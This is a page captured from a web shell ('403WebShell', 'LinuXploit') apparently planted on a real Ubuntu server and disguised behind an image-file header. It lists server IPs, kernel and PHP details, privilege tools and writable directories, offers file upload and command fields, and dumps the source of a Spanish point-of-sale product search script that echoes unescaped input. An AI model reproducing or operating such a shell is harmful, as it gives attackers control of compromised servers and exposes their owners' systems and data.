����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.117.85.73
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/action/searchp2-action.php
<div class="box-body table-responsive no-padding" style="max-width:1124px;">
				<table id="table_search" class="table  table-bordered table-hover ">
					<thead>
						<tr class="tableheader">
							<th style="width:40px">#</th>
							<th style="width:60px">Id</th>
							<th style="width:250px">Imagen</th>
							<th style="width:300px">Nombre</th>
							<th style="width:120px">Precio</th>
							<th style="width:300px">Precio de venta</th>
							<th style="width:60px">Status</th>
						    <th style="width:60px">Existencia(Sin Dev)</th>
							<th style="width:160px">Operaciones</th>
							<th></th>
						</tr>
					</thead>
					<tbody>
					
				

<?php

$Iden = ($_POST['ID']);
 
if(isset($Iden)){
		$products = ProductData::getBycode2($Iden);
		
    if(count($products) == 0){
        echo "<script>
		
		$.notifyDefaults({
				url_target: '_self'
			});
			$.notify({
				message: 'Clic Aqui para Ver Ayuda!',
				url: 'https://www.youtube.com/watch?v=jqiqsdu4t6c&list=LLcuskh7GrX1jFEahFHKdZPA&index=1'
			});
			
			$.notify({
				title: '<strong>Codigo No Existe</strong>',
				message: 'Revisar al escribir el codigo de barras.'
			},{
				type: 'danger'
			});
		
		</script>";
    } else {
?>		
		
		<?php foreach($products as $product): ?>
				<?php 
					//VERSION 3.6
					$itotal = OperationData::GetInputQByStock($product->id,StockData::getPrincipal()->id);
					$itotal2 = OperationData2::GetInputQByStock($product->id,StockData::getPrincipal()->id);
					//sumamos las entrdas
					$entradas = $itotal2;
					//ventas en tabla t_sale_detail
					$operations3 = OperationData::getByc2($product->name);
					$totalV=0;
					foreach($operations3 as $op)
					{
						$totalV = $totalV + $op->qty;
					}
					//Ordenes de compra o inventaio inicial
					$ordenes_Compra = OperationData2::getAllByProductIdAndStock_OC($product->barcode,1);

					$OC=0;
					foreach($ordenes_Compra as $op)
					{
						$OC = $OC + $op->q;
					}
				?>
		
				<tr class="<?php  echo "danger"?>">
				<td><?php echo $product->id; ?></td>
				<td><?php echo $product->barcode; ?></td>
				
				<td>
					<?php if($product->image!=""):?>
						<a href=""><img src="storage/products/<?php echo $product->image;?>" width="75" height="75"></a>
						<a href="?view=ventana&product_code=<?php echo $product->id;?>" target="_blank" onClick="window.open(this.href, this.target, 'width=400,height=600', directories=0, menubar=0,scrollbars=0,resizable=0); return false;">Zoom</a> 
					<?php endif;?>
				</td>
				<td><?php echo $product->name; ?></td>
				<td>
			   <b>$ <?php echo number_format($product->price_out,2,".",","); ?></b>
			   </td>
			   <td style="width:30px;"><a href="index.php?view=productbyprice&id=<?php echo $product->id;?>" class="btn btn-default btn-xs"><i class="fa fa-th-list"></i> Precios</a> </td>
						
				<td>
					<?php
					//se verifica si esta eliminado
					$barcodeD = ProductData::getBycodeItem($product->barcode);
					if(isset($barcodeD)){	
						if( $barcodeD->status == 1 ){
							echo "Eliminado";
							$status = 1;
						}else{
							echo "Activo";
							$status = 0;
						}
					}else{
						echo "Eliminado p/venta";
						$status = "E";
					}
					
					?>	
				</td>
				<td>
						<?php echo $entradas-$totalV + $OC; ?>
				</td>
				<?php if($status != 1):?>
					<td style="width:250px;">
						
						<form method="post" action="index.php?view=editproduct&id=<?php echo $product->id; ?>">
							<input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
							<button class="btn btn-warning" title="editar producto"><a href="index.php?view=editproduct&id=<?php echo $product->id; ?>" class="btn btn-xs btn-warning"><i class="glyphicon glyphicon-pencil"></i></a></button>
							<button class="btn btn-secundary" title="editar Precio"><a href="index.php?view=PriceCam&id=<?php echo $product->id; ?>" class="btn btn-xs btn-dark"><i class="glyphicon glyphicon-edit"></i></a></button>
						
						</form>
						<div class="input-group">
							<button class="btn btn-info" title="historial de producto"><a href="index.php?view=history&product_id=<?php echo $product->id; ?>&stock=1" class="btn btn-xs btn-info"><i class="glyphicon glyphicon-level-up"></i></a></button>
							<button class="btn btn-success" title="Surtir producto"><a href="index.php?view=re&product=&code=<?php echo $product->barcode; ?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-repeat"></i></a></button>
						</div>
						
					</td>
					
					
					
					<?php if($_SESSION['rol']==1){?>
					   
						<td style="width:100px;">
							<a href="#" onclick="prueba(<?php echo $product->id; ?>)" id="oper-<?php echo $product->id; ?>" class="btn tip btn-xs btn-danger" title="Eliminar">
							<i class="glyphicon glyphicon-trash"></i></a>
						</td>
						
					<?php }?>
				
				<?php endif;?>	
			</tr>
		<?php endforeach;?>   
		
		<script>

		/*
		SweetAlert
		*/

		async function prueba(id) {
		const { isConfirmed, value } = await Swal.fire({
											title: 'Eliminacion de Producto',
											text: "Se eliminara registro de manera permanente, desea continuar!",
											icon: 'warning',
											input: 'password',
											showCancelButton: true,
											confirmButtonColor: '#3085d6',
											cancelButtonColor: '#d33',
											confirmButtonText: 'Si, borrar!!'
										});
			$.ajax({
				type:'post',
				url:"./?action=logindel",
				//contentType: 'application/json; charset=utf-8',
				data: { pass: value, id: id },
				dataType: 'json',
				success:function(res){
					
					if(res==true){
						Swal.fire(	'Buen trabajo!',
									'Producto eliminado!',
									'success')	
					setTimeout(function(){ window.location.reload(); }, 3000);
					}else{
						Swal.fire({
						  icon: 'error',
						  title: 'Oops...',
						  text: 'Datos invalidos',
						 
						})
					}
				}
			})
			
		}

		set_focus("#txtsearchitem2");
		$("#txtsearchitem2").val("");
		</script>
	   
<?php 

	
    }
} else {
    echo "<script>alert('Estas metiendo un valor no numérico');</script>";
}
?>
	</tbody>
	</table>				
	</div>	  

Youez - 2016 - github.com/yon3zu
LinuXploit